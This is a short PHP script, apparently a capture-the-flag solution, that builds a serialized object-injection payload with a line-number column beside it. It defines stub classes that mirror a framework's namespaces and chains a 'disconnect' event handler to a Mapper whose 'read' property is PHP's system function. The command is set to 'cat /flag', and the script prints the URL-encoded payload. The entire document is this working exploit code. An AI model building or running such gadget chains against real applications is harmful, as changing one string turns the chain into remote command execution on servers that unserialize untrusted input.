1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
| <?php
namespace lib {
class magic
{
}
}
namespace lib\db {
class cursor
{
}
}
namespace lib\db\sql {
class mapper
{
}
}
namespace lib\cli {
class ws
{
}
}
namespace cli {
use db\sql\Mapper;
class Agent
{
protected $server;
protected $socket;
function __construct($flag)
{
if ($flag == 1) {
$this->server->events['disconnect'] = [(new Agent(2)), 'fetch'];
}
else{
$this->server = new Mapper();
$this->socket = 'cat /flag';
}
}
}
}
namespace db\sql {
class Mapper
{
function __construct()
{
$this->props = [];
$this->read = 'system';
}
}
}
namespace{
$include1 = new lib\magic();
$include2 = new lib\db\cursor();
$include3 = new lib\db\sql\mapper();
$include4 = new lib\cli\ws();
$o = new cli\Agent(1);
$payload = [$include1,$include2,$include3,$include4,$o];
echo urlencode(serialize($payload));
}
|